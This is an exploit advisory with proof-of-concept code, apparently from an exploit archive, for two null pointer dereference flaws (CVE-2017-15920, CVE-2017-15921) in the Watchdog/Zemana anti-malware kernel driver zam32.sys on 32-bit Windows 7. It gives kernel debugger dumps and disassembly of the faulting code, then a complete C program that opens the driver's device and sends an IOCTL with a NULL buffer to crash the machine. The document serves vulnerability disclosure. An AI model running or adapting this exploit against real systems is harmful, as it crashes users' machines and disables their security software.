Watchdog Development Anti-Malware / Online Security Pro NULL Pointer Dereference

`/*  
  
Exploit Title - Watchdog Development Anti-Malware/Online Security Pro Null Pointer Dereference  
Date - 26th October 2017  
Discovered by - Parvez Anwar (@parvezghh)  
Vendor Homepage - https://www.watchdogdevelopment.com/  
Tested Version - 2.74.186.150  
Driver Version - 2.21.63 - zam32.sys  
Tested on OS - 32bit Windows 7 SP1   
CVE IDs - CVE-2017-15920 and CVE-2017-15921  
Vendor fix url - Will be fixed in a future release  
Fixed Version - n/a  
Fixed driver ver - n/a  
  
  
  
A null pointer dereference vulnerability is triggered when sending an operation  
to ioctls 0x80002010 or 0x80002054. This is due to input buffer being NULL or  
the input buffer size being 0 as they are not validated.  
  
kd> dt nt!_irp @esi -r  
+0x000 Type : 0n6  
+0x002 Size : 0x94  
+0x004 MdlAddress : (null)   
+0x008 Flags : 0x60000  
+0x00c AssociatedIrp : <unnamed-tag>  
+0x000 MasterIrp : (null)   
+0x000 IrpCount : 0n0  
+0x000 SystemBuffer : (null) <----------- null pointer  
  
  
0x80002010  
----------  
CVE-2017-15921  
  
kd> r  
eax=00000000 ebx=80002010 ecx=cff82bd9 edx=90889f2e esi=00000000 edi=c0000001  
eip=9087cd9f esp=a7a80ab8 ebp=a7a80ab8 iopl=0 nv up ei pl nz na po nc  
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000202  
zam32+0xdd9f:  
9087cd9f ff30 push dword ptr [eax] ds:0023:00000000=????????  
  
  
.text:90AD9104 push offset aIoctl_register ; "IOCTL_REGISTER_PROCESS"  
.text:90AD9109 push 0   
.text:90AD910B push edx ; Pointer to "DeviceIoControlHandler" string  
.text:90AD910C push 208h  
.text:90AD9111 push offset aMain_c   
.text:90AD9116 push 1  
.text:90AD9118 call sub_90AD3ADA  
.text:90AD911D add esp, 18h  
.text:90AD9120 push esi ; esi is null becomes arg_0 otherwise would point to our input "SystemBuffer"  
.text:90AD9121 call sub_90AD8D90  
  
.text:90AD8D90 sub_90AD8D90 proc near   
.text:90AD8D90  
.text:90AD8D90 arg_0 = dword ptr 8  
.text:90AD8D90  
.text:90AD8D90 push ebp   
.text:90AD8D91 mov ebp, esp  
.text:90AD8D93 call sub_90AD414A  
.text:90AD8D98 test eax, eax  
.text:90AD8D9A jz short loc_90AD8DA6  
.text:90AD8D9C mov eax, [ebp+arg_0] ; Null pointer dereference   
.text:90AD8D9F push dword ptr [eax] ; BSOD !!!!  
.text:90AD8DA1 call sub_90AD428C  
.text:90AD8DA6  
.text:90AD8DA6 loc_90AD8DA6:   
.text:90AD8DA6 pop ebp  
.text:90AD8DA7 retn 4  
.text:90AD8DA7 sub_90AD8D90 endp  
.text:90AD8DA7  
.text:90AD8DAA  
  
  
0x80002054  
----------  
CVE-2017-15920  
  
kd> r  
eax=861e8320 ebx=80002054 ecx=cff82bd9 edx=90889f2e esi=00000000 edi=c0000001  
eip=9087d41a esp=99f4eaac ebp=99f4eadc iopl=0 nv up ei pl zr na pe nc  
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246  
zam32+0xe41a:  
9087d41a c7061e010000 mov dword ptr [esi],11Eh ds:0023:00000000=????????  
  
  
.text:90AD9401 push offset aIoctl_get_driv ; IOCTL_GET_DRIVER_PROTOCOL  
.text:90AD9406 push 0  
.text:90AD9408 push edx  
.text:90AD9409 push 2A3h  
.text:90AD940E push offset aMain_c   
.text:90AD9413 push 1  
.text:90AD9415 call sub_90AD3ADA  
.text:90AD941A mov dword ptr [esi], 11Eh ; BSOD !!!! Null pointer dereference otherwise would point to our input "SystemBuffer"  
.text:90AD9420 jmp loc_90AD9622  
  
  
*/  
  
  
#include <stdio.h>  
#include <windows.h>  
  
int main(int argc, char *argv[])   
{  
HANDLE hDevice;  
char devhandle[MAX_PATH];  
DWORD dwRetBytes = 0;  
  
  
sprintf(devhandle, "\\\\.\\%s", "zemanaantimalware");  
  
hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);  
  
if(hDevice == INVALID_HANDLE_VALUE)  
{  
printf("\n[-] Open %s device failed\n\n", devhandle);  
return -1;  
}  
else  
{  
printf("\n[+] Open %s device successful", devhandle);  
}   
  
printf("\n[~] Press any key to continue . . .");  
getch();  
  
DeviceIoControl(hDevice, 0x80002010, NULL, 0, NULL, 0, &dwRetBytes, NULL);  
// DeviceIoControl(hDevice, 0x80002054, NULL, 0, NULL, 0, &dwRetBytes, NULL);  
  
printf("\n[+] DoSed\n\n");  
  
CloseHandle(hDevice);  
return 0;  
}  
  
  
`